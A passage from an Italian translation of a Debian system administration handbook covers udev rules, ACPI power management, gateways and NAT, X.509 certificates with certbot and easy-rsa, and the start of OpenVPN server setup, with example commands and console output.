Gli operandi di destra possono utilizzare modelli di espressioni per trovare corrispondere a diversi valori allo stesso tempo. Ad esempio, * corrisponde a qualsiasi stringa (anche vuota), ? corrisponde a qualsiasi carattere e [] corrisponde all'insieme di caratteri elencati tra le parentesi quadre (o l'opposto se il primo carattere è un punto esclamativo, e gli intervalli di caratteri contigui sono indicati come a-z).

Per quanto riguarda gli operatori di assegnazione, = assegna un valore (e sostituisce il valore corrente); nel caso di un elenco, questo viene svuotato e contiene solo il valore assegnato. := fa la stessa cosa, ma impedisce successive modifiche alla stessa variabile. Per quanto riguarda +=, esso aggiunge un elemento a un elenco. Le seguenti variabili possono essere modificate:

NAME: il nome del file di device da creare in /dev/. Vale solo la prima assegnazione, le altre vengono ignorate;

SYMLINK: l'elenco dei collegamenti simbolici che puntano allo stesso device;

OWNER, GROUP e MODE definiscono l'utente e il gruppo che possiedono il device, nonché i permessi associati;

RUN: l'elenco dei programmi da eseguire in risposta a questo evento.

I valori assegnati a queste variabili possono utilizzare diverse sostituzioni:

$kernel o %k: equivalente a KERNEL;

$number o %n: il numero d'ordine del dispositivo, per esempio, per sda3 sarebbe "3";

$devpath o %p: equivalente a DEVPATH;

$attr{attributo} o %s{attributo}: equivalente a ATTRS {attributo};

$major o %M: il numero kernel maggiore del device;

$minor o %m: il numero kernel minore del device;

$result o %c: la stringa prodotta in output dell'ultimo programma invocato da PROGRAM;

e, infine, %% e $$ per, rispettivamente, il segno di percentuale e di dollaro.

Gli elenchi precedenti non sono completi (comprendono solo i parametri più importanti), ma la pagina di manuale udev(7) dovrebbe essere esaustiva.

9.11.4. Un esempio concreto

Consideriamo il caso di una semplice penna USB e tentiamo di assegnarle un nome fisso. In primo luogo, è necessario individuare gli elementi che la identificano in modo univoco. Per far questo, collegarla ed eseguire udevadm info -a -n /dev/sdc (sostituendo /dev/sdc con il nome effettivo assegnato alla chiave).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}=="130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}=="0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

Per creare una nuova regola, è possibile utilizzare i test sulle variabili del device, così come quelle di uno dei device genitore. Il caso di cui sopra permette di creare due regole come queste:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Una volta che queste regole sono specificate in un file, chiamato ad esempio /etc/udev/rules.d/010_local.rules, si può semplicemente rimuovere e ricollegare la chiave USB. È quindi possibile vedere che /dev/usb_key/disk rappresenta il disco associato alla chiave USB e /dev/usb_key/part1 è la sua prima partizione.

APPROFONDIMENTO Debug della configurazione di udev

Come molti demoni, udevd memorizza i file di log in /var/log/daemon.log. Non è però molto dettagliato per impostazione predefinita e non è, di solito, sufficiente per capire cosa sta succedendo. Il comando udevadm control --log-priority=info aumenta il livello di dettaglio e risolve questo problema. Mentre invece udevadm control --log-priority=err torna al livello di dettaglio predefinito.

9.12. Gestione dell'energia: Advanced Configuration and Power Interface (ACPI)

Il tema della gestione energetica è spesso problematico. Infatti, per sospendere correttamente il computer è necessario che tutti i driver delle periferiche del computer sappiano come andare in stand-by, per poi riconfigurare correttamente i dispositivi al risveglio. Purtroppo, ci sono ancora alcuni dispositivi che non sono in grado di essere sospesi correttamente sotto Linux, perché i loro produttori non hanno fornito le specifiche necessarie.

Linux supporta ACPI (Advanced Configuration and Power Interface): lo standard più recente per la gestione dell'energia. Il pacchetto acpid fornisce un demone che cerca eventi legati alla gestione energetica (il passaggio tra l'alimentazione da rete e dalla batteria su un portatile, ecc.) e che può eseguire vari comandi in risposta.

ATTENZIONE Scheda grafica e standby

Quando lo standby non funziona correttamente è spesso per problemi con il driver della scheda grafica. In questo caso, è una buona idea testare l'ultima versione del server grafico X.org.

Dopo questa panoramica dei servizi di base comuni a molti sistemi Unix, ci concentreremo sull'ambiente delle macchine amministrate: la rete. Molti servizi sono necessari affinché la rete funzioni correttamente. Essi saranno discussi nel prossimo capitolo.

Capitolo 10. Infrastruttura di rete

Linux beneficia del notevole patrimonio di Unix nel campo delle reti, e Debian offre una gamma completa di strumenti per la loro creazione e gestione. Questo capitolo esamina questi strumenti.

10.1. Gateway

Un gateway è un sistema di connessione tra reti diverse. Questo termine si riferisce spesso al "punto di uscita" di una rete locale sul percorso obbligato per tutti gli indirizzi IP esterni. Il gateway, è connesso a ciascuna delle reti che collega insieme ed agisce come un router per trasmettere i pacchetti IP tra le varie interfacce.

FONDAMENTALE Pacchetto IP

La maggior parte delle reti attuali utilizzano il protocollo IP (protocollo Internet: Internet Protocol). Questo protocollo segmenta i dati trasmessi in pacchetti di dimensioni limitate. Ogni pacchetto contiene, in aggiunta ai dati da trasmettere, un numero di dati necessari per il suo corretto instradamento.

FONDAMENTALE TCP/UDP

Molti programmi non gestiscono autonomamente i singoli pacchetti, anche se i dati che trasmettono viaggiano su IP, ma generalmente utilizzano TCP (protocollo di controllo trasmissione: Transmission Control Protocol). TCP è un livello sopra IP che consente la creazione di connessioni dedicate a flussi di dati tra due punti. I programmi in seguito visualizzano solo un punto di ingresso in cui i dati possono essere trasmessi con la garanzia che gli stessi dati risulteranno senza perdita (e nella stessa sequenza) nel punto di uscita all'altra estremità della connessione. Benché possono accadere molti tipi di errori negli strati inferiori, questi vengono compensati da TCP: i pacchetti persi vengono ritrasmessi, ed i pacchetti in arrivo nell'ordine sbagliato (per esempio, se hanno usato percorsi differenti) vengono riordinati in modo appropriato.

Un altro protocollo che si basa sull'IP è UDP (User Datagram Protocol). Al contrario di TCP, è orientato al pacchetto di dati (packet-oriented). I suoi obiettivi sono diversi: lo scopo di UDP è solo quello di trasmettere un pacchetto da un'applicazione all'altra. Il protocollo non tenta di compensare la perdita di pacchetti possibile nel percorso, né garantisce che i pacchetti vengano ricevuti nello stesso ordine in cui sono stati inviati. Il vantaggio principale di questo protocollo è che la latenza è notevolmente migliorata, in quanto la perdita di un singolo pacchetto non ritarda la ricezione di tutti i pacchetti successivi fino quando quello perso viene ritrasmesso.

Sia TCP che UDP coinvolgono le porte, che sono "numeri di interno", per stabilire una comunicazione con una determinata applicazione su una macchina. Questo concetto permette di mantenere comunicazioni multiple diverse in parallelo con lo stesso destinatario, visto che possono essere distinte in base al numero di porta.

Alcuni di questi numeri di porta, standardizzati dalla IANA (Internet Assigned Numbers Authority), sono "well-known" (ben note) perché associati a servizi di rete. Ad esempio, la porta TCP 25 è generalmente utilizzata dal server di posta elettronica. L'elenco dei servizi ed il numero di porta associata si trovano nel file /etc/services, spiegato anche in services(5), nonché in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Quando una rete locale utilizza un intervallo di indirizzi privati (non instradabili su Internet), il gateway deve attuare il mascheramento degli indirizzi in modo che le macchine sulla rete possano comunicare con il mondo esterno. L'operazione di mascheramento è una sorta di proxy operante a livello di rete: ogni connessione in uscita da una macchina interna viene sostituita con una connessione dal gateway stesso (in quanto il gateway ha un indirizzo instradabile verso l'esterno), i dati che passano dalla connessione mascherata vengono inviati alla nuova, ed i dati che ritornano in risposta vengono inviati attraverso la connessione mascherata alla macchina interna. Il gateway utilizza una serie di porte TCP dedicate a questo scopo, di solito con numeri molto elevati (oltre 60000). Ogni connessione proveniente da una macchina interna appare quindi al mondo esterno, come una connessione proveniente da una di queste porte riservate.

CULTURA Intervallo di indirizzi privati

La RFC 1918 definisce tre intervalli di indirizzi IPv4 che non possono essere instradati su Internet ma utilizzati solo in reti locali. Il primo, 10.0.0.0/8 (vedere il riquadro FONDAMENTALE Concetti di rete essenziali (Ethernet, indirizzo IP, sottorete, broadcast)), è un intervallo di classe A (con 2²⁴ indirizzi IP). Il secondo, 172.16.0.0/12, raccoglie 16 intervalli di classe B (da 172.16.0.0/16 a 172.31.0.0/16), ciascuno contenente 2¹⁶ indirizzi IP. Infine, 192.168.0.0/16 è un intervallo di classe B (che raggruppa di 256 intervalli di classe C, da 192.168.0.0/24 a 192.168.255.0/24, con 256 indirizzi IP ciascuno).

→ http://www.faqs.org/rfcs/rfc1918.html

Il gateway può anche eseguire due tipi di Network Address Translation (Traduzione degli Indirizzi di Rete o abbreviato NAT). Il primo tipo, Destination NAT (DNAT) consiste nel modificare l'indirizzo IP di destinazione (e/o la porta TCP o UDP) per una connessione (generalmente) in ingresso. Il meccanismo di controllo e tracciatura del collegamento modifica anche i pacchetti successivi nella stessa connessione per assicurare la continuità nella comunicazione. Il secondo tipo di NAT è Source NAT (SNAT), di cui è un caso particolare il masquerading (mascheramento). SNAT modifica l'indirizzo IP sorgente (e/o la porta TCP o UDP) del pacchetto (generalmente) in uscita. Come per DNAT, tutti i pacchetti nella connessione sono opportunamente gestiti dal meccanismo di tracciamento della connessione stessa. Si noti che NAT è rilevante solo per IPv4 e il suo limitato spazio di indirizzi; in IPv6, l'ampia disponibilità di indirizzi riduce notevolmente l'utilità di NAT, consentendo a tutti gli indirizzi "interni" di essere direttamente instradabili su Internet (ciò non implica che le macchine interne siano accessibili, in quanto i firewall intermedi sono in grado di filtrare il traffico).

FONDAMENTALE Port forwarding

Un'applicazione concreta di DNAT è il port forwarding. Le connessioni in ingresso su una determinata porta di una macchina vengono inoltrate verso una porta su un'altra macchina. Tuttavia esistono altre soluzioni tecniche che possono ottenere un risultato simile, anche se, soprattutto a livello di applicazione con ssh (vedere la Sezione 9.2.1.4, «Creazione di tunnel cifrati con il port forwarding» ) o redir.

Basta teoria, andiamo sul pratico. Trasformare un sistema Debian in un gateway è una questione semplice, basta attivare l'apposita opzione nel kernel Linux, mediante il filesystem virtuale /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Questa opzione può anche essere abilitata automaticamente all'avvio se /etc/sysctl.conf o un file di configurazione in /etc/sysctl.d/ imposta l'opzione net.ipv4.conf.default.forwarding su 1.

Esempio 10.1. Il file /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

Lo stesso effetto può essere ottenuto per IPv6 semplicemente sostituendo ipv4 con ipv6 nel comando manuale e modificando la riga net.ipv6.conf.all.forwarding nel file /etc/sysctl.conf.

Abilitare il mascheramento IPv4 è un'operazione leggermente più complessa che coinvolge la configurazione del firewall netfilter.

Similmente, l'utilizzo di NAT (per IPv4) richiede configurare netfilter. Dato che lo scopo primario di questo componente è il filtraggio dei pacchetti, i dettagli sono elencati nel Capitolo 14: «Sicurezza» (vedere la Sezione 14.2, «Firewall o filtraggio dei pacchetti»).

10.2. Certificati X.509

I certificat,i sono un elemento fondamentale di molti servizi di rete basati su protocolli crittografici che necessitano di una sorta di autenticazione centrale.

Tra questi protocolli, SSL (Secure Socket Layer) è stato realizzato da Netscape per proteggere le connessioni ai server Web. In seguito è stato standardizzato dall'IETF con l'acronimo TLS (Transport Layer Security). Da allora TLS ha continuato ad evolversi ed oggi SSL è deprecato a causa dei numerosi difetti di progettazione scoperti.

Il protocollo TLS mira, principalmente, a fornire privacy ed integrità dei dati tra due o più applicazioni che stanno comunicando tra loro. Il caso più comune su Internet è la comunicazione tra un client (ad esempio un browser web) ed un server.

Per lo scambio di informazioni è necessaria una coppia di chiavi che prevede una chiave pubblica, che include informazioni sull'identità del proprietario e la corrispondente chiave privata. La chiave privata deve essere mantenuta segreta, altrimenti la sicurezza è compromessa. Tuttavia, chiunque potrebbe creare una coppia di chiavi, impostare una falsa identità e fingere di essere quell'identità. Una soluzione prevede il concetto di Autorità di Certificazione (CA), formalizzata dallo standard X.509. Questo termine indica un'entità che detiene una coppia di chiavi affidabili, nota come root certificate. Questo certificato viene utilizzato solo per firmare altri certificati (coppie di chiavi), dopo che sono stati compiuti passi adeguati per verificare l'identità memorizzata nella coppia di chiavi. Le applicazioni che utilizzano X.509 possono quindi verificare i certificati presentati, se sono a conoscenza dei root certificate affidabili.

Si può implementare un CA (come descritto in Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»), ma se si intende usare il certificato per un sito web, è necessario affidarsi a una CA attendibile. I prezzi variano in modo significativo, ma è possibile implementare un'ottima sicurezza spendendo poco o nulla.

10.2.1. Creazione di certificati attendibili gratuiti

Molti programmi creano ed utilizzano, in modo predefinito, certificati snakeoil (vedere riquadro SICUREZZA Certificati SSL Snake oil). Fortunatamente il pacchetto certbot contiene tutto ciò che è necessario per creare propri certificati che possono essere ritenuti affidabili da terzi; è fornito dall'iniziativa "Lets Encrypt" (vedere riquadro CULTURA L'iniziativa Let's Encrypt), questi certificati possono anche essere usati dagli MTA (Mail Transport Agent, come Postfix), MDA (Mail Delivery Agents, come Dovecot, Cyrus, ecc.) e altri servizi di rete.

Gli amministratori di Falcot vogliono soltanto creare un certificato per il loro sito web, eseguito su Apache. C'è un comodo plugin di Apache per certbot che modifica automaticamente la configurazione di Apache per utilizzare il certificato ottenuto, così gli amministratori ne fanno uso:

# apt install python3-certbot-apache [...] # certbot --apache aving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server. Do you agree? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: Y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing, once your first certificate is successfully issued, to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N Account registered. No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Requesting a certificate for falcot.com Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2022-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURA L'iniziativa Let's Encrypt

L'iniziativa Let's Encrypt è uno sforzo congiunto per creare un'autorità di certificazione (CA) libera, automatizzata ed aperta, gestita a beneficio di tutti. È sostenuta dalla EFF e dalla Linux Foundation. L'iniziativa fornisce uno strumento automatizzato per l'acquisizione ed il rinnovo dei certificati. Questo riduce la quantità di lavoro manuale necessario, soprattutto se si devono gestire più siti e domini. I certificati possono essere utilizzati anche per i server SIP, XMPP, WebSockets e TURN. La fruizione del servizio richiede il controllo delle informazioni DNS per il dominio da utilizzare (convalida del dominio).

→ https://letsencrypt.org/how-it-works/

Se si preferisce mantenere il server in funzione durante la creazione del certificato, si può usare il plugin webroot per ottenere il certificato con gli argomenti certonly e --webroot. È necessario specificare un --webroot-path (abbreviato -w), che dovrebbe contenere i file rilasciati. Il comando si presenta come segue:

# certbot certonly --webroot -w /var/www/html -d www.DOMINIO.com -d DOMINIO.com

È necessario riavviare tutti i servizi utilizzando i certificati creati.

I certificati creati sono i cosiddetti certificati a vita breve, che hanno una validità di 90 giorni e devono quindi essere rinnovati ogni tre mesi con il comando certbot renew. Tuttavia, non si dovrebbe rinnovare ogni certificato manualmente, ma automaticamente. Un cron job di base è fornito da certbot in /etc/cron.d/certbot. Per assicurarsi che i certificati possano essere rinnovati automaticamente, è possibile eseguire certbot renew --dry-run.

10.2.2. Infrastruttura a chiave pubblica: easy-rsa

È anche possibile creare una propria CA, per la quale utilizzeremo l'algoritmo RSA ampiamente utilizzato nella crittografia a chiave pubblica. Si tratta di una "coppia di chiavi", composta da una chiave privata ed una pubblica. Le due chiavi sono strettamente legate l'una all'altra e le loro proprietà matematiche sono tali che un messaggio cifrato con la chiave pubblica può essere decifrato solo da chi conosce la chiave privata, il che garantisce la riservatezza. In senso opposto, un messaggio cifrato con la chiave privata può essere decifrato da chiunque conosca la chiave pubblica, il che consente di autenticare l'origine di un messaggio, poiché solo chi ha accesso alla chiave privata potrebbe generarlo. Se associato a una funzione di hash (MD5, SHA1 o una variante più recente), questo porta ad un meccanismo di firma che può essere applicato a qualsiasi messaggio.

Dal momento che le CA pubbliche emettono certificati solo in cambio di un (salato) compenso, è anche possibile creare un'autorità di certificazione privata all'interno dell'azienda. Il pacchetto easy-rsa fornisce gli strumenti per fungere da infrastruttura di certificazione X.509, implementati con un insieme di script che utilizzano il comando openssl.

ALTERNATIVA GnuTLS

GnuTLS può anche essere usato per generare una CA e per gestire altre tecnologie relative ai protocolli TLS, DTLS e SSL.

Il pacchetto gnutls-bin contiene le utilità a riga di comando. È anche utile installare il pacchetto gnutls-doc, che contiene un'ampia documentazione.

Gli amministratori della Falcot Corp utilizzano questo strumento per creare i certificati richiesti, sia per il server che per i client. Questo permette una configurazione simile di tutti i client, dato che dovranno essere impostati solo per considerare attendibili i certificati provenienti dalla CA locale di Falcot. Questa CA crea il primo certificato; a tal fine, gli amministratori impostano in un luogo appropriato la directory con i file richiesti per la CA, preferibilmente su una macchina non connessa alla rete, per ridurre il rischio di furto della chiave privata della CA.

$ make-cadir pki-falcot $ cd pki-falcot

Essi memorizzano i parametri richiesti nel file vars, che può essere decommentato e modificato:

$ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI" #set_var EASYRSA_DN "cn_only" set_var EASYRSA_REQ_COUNTRY "FR" set_var EASYRSA_REQ_PROVINCE "Loire" set_var EASYRSA_REQ_CITY "Saint-Étienne" set_var EASYRSA_REQ_ORG "Falcot Corp" set_var EASYRSA_REQ_EMAIL "admin@falcot.com" set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 825 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_RAND_SN "yes" #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" #set_var EASYRSA_KDC_REALM "CHANGEME.EXAMPLE.COM" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $ vim vars $

Ora prepariamo la directory dell'infrastruttura a chiave pubblica con il seguente comando:

$ ./easyrsa init-pki init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/debian/pki-falcot/pki

Il passo successivo è la creazione della coppia di chiavi della CA stessa (durante questo step, le due parti della coppia di chiavi saranno memorizzate in pki/ca.crt e pki/private/ca.key). Si può aggiungere l'opzione nopass per evitare di inserire una password ogni volta che si usa la chiave privata:

$ ./easyrsa build-ca nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating RSA private key, 2048 bit long modulus (2 primes) ..................+++++ ...............................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/debian/pki-falcot/pki/ca.crt

A questo punto è possibile creare il certificato ed i parametri Diffie-Hellman necessari per una connessione SSL/TLS lato server. Essi vogliono utilizzarlo per un server VPN (vedere la sezione Sezione 10.3, «Rete privata virtuale (VPN)») identificato dal nome DNS vpn.falcot.com; questo nome viene riutilizzato per i file chiave generati (keys/vpn.falcot.com.crt per il certificato pubblico, keys/vpn.falcot.com.key per la chiave privata):

$ ./easyrsa gen-req vpn.falcot.com nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ......................................+++++ ..........................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 825 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

Il passo seguente crea i certificati per i client VPN, è richiesto un certificato per ogni computer o persona autorizzata ad usare la VPN:

$ ./easyrsa build-client-full JoeSmith nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ...................................+++++ .........................................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE' ----- Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated

10.3. Rete privata virtuale (VPN)

Una rete privata virtuale (VPN in breve) è un modo per collegare due diverse reti locali attraverso Internet per mezzo di un tunnel che, per mantenere la riservatezza, di solito è criptato. Le VPN vengono spesso usate per integrare una macchina remota nella rete locale di un'azienda.

Diversi strumenti forniscono questa funzionalità. OpenVPN è una soluzione efficiente, facile da implementare e mantenere, basata su SSL/TLS. Un'altra possibilità è l'utilizzo di IPsec per crittografare il traffico IP tra due macchine; questa crittografia è trasparente, il che significa che le applicazioni in esecuzione su questi host non devono essere modificate per tenere conto della VPN. Anche SSH, in aggiunta alle sue funzionalità più conosciute, può essere utilizzato per fornire una VPN. Infine, è possibile stabilire una VPN utilizzando il protocollo PPTP di Microsoft. Esistono altre soluzioni, ma vanno oltre l'obiettivo di questo libro.

10.3.1. OpenVPN

OpenVPN è un software dedicato alla creazione di reti private virtuali. La sua configurazione prevede la creazione di interfacce di rete virtuali sul server VPN e sul/sui client; sono supportate entrambe le interfacce tun (per tunnel a livello IP) e tap (per tunnel a livello di Ethernet). In pratica, generalmente vengono utilizzate le interfacce tun tranne quando i client VPN vengono integrati nella rete locale del server per mezzo di un bridge (ponte) Ethernet.

OpenVPN si basa su OpenSSL per tutta la crittografia SSL/TLS e le funzioni associate (riservatezza, autenticazione, integrità, non rifiuto). Può essere configurato sia con una chiave privata condivisa che con certificati X.509 basati su un'infrastruttura a chiave pubblica. Quest'ultima configurazione è fortemente preferibile in quanto permette una maggiore flessibilità di fronte a un numero crescente di utenti in roaming che accedono alla VPN.

10.3.1.1. Configurazione del server OpenVPN

Dopo che sono stati creati tutti i certificati (seguire le istruzioni da Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»), bisogna copiarli dove è appropriato: la chiave pubblica del certificato principale (pki/ca.crt) verrà memorizzata su tutte le macchine (sia server che client) come /etc/ssl/certs/Falcot_CA.crt. Il certificato del server è installato solo sul server (pki/vpn.falcot.com.crt va in /etc/ssl/certs/vpn.falcot.com.crt, e pki/private/vpn.falcot.com.key va in /etc/ssl/private/vpn.falcot.com.key con permessi limitati in modo che solo l'amministratore possa leggerlo), con i corrispondenti parametri Diffie-Hellman (pki/dh.pem) installati in /etc/openvpn/dh.pem. I certificati client vengono installati in modo simile nel corrispondente client VPN.

Per impostazione predefinita, lo script di inizializzazione di OpenVPN cerca di avviare tutte le reti private virtuali definite in /etc/openvpn/*.conf. Per configurare un server VPN basta quindi memorizzare il corrispondente file di configurazione in questa directory. Un buon punto di partenza è /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, che porta ad un server abbastanza standard. Naturalmente, alcuni parametri devono essere adattati: ca, cert, key e dh devono descrivere le posizioni scelte (rispettivamente, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key e /etc/openvpn/dh.pem). La direttiva server 10.8.0.0 255.255.255.0 definisce la sottorete utilizzata dalla VPN; il server utilizza il primo indirizzo IP in quell'intervallo (10.8.0.1) ed il resto degli indirizzi viene assegnato ai client.

Con questa configurazione, l'avvio di OpenVPN crea l'interfaccia di rete virtuale solitamente con il nome tun0. Tuttavia, i firewall sono spesso configurati contemporaneamente alle interfacce di rete reali, e questo avviene prima dell'avvio di OpenVPN. Le buone pratiche raccomandano pertanto la creazione di un'interfaccia di rete virtuale persistente e di configurare OpenVPN ad utilizzare questa interfaccia preesistente. Questo permette inoltre di scegliere il nome per questa interfaccia. A tal fine, il comando openvpn --mktun --dev vpn --dev-type tun crea un'interfaccia di rete virtuale denominata vpn di tipo tun; questo comando può essere facilmente integrato nello script di configurazione del firewall, o in una direttiva up del file /etc/network/interfaces o un ruolo udev può essere aggiunto a tale scopo. Il file di configurazione di OpenVPN deve essere aggiornato di conseguenza, con le direttive dev vpn e dev-type tun.

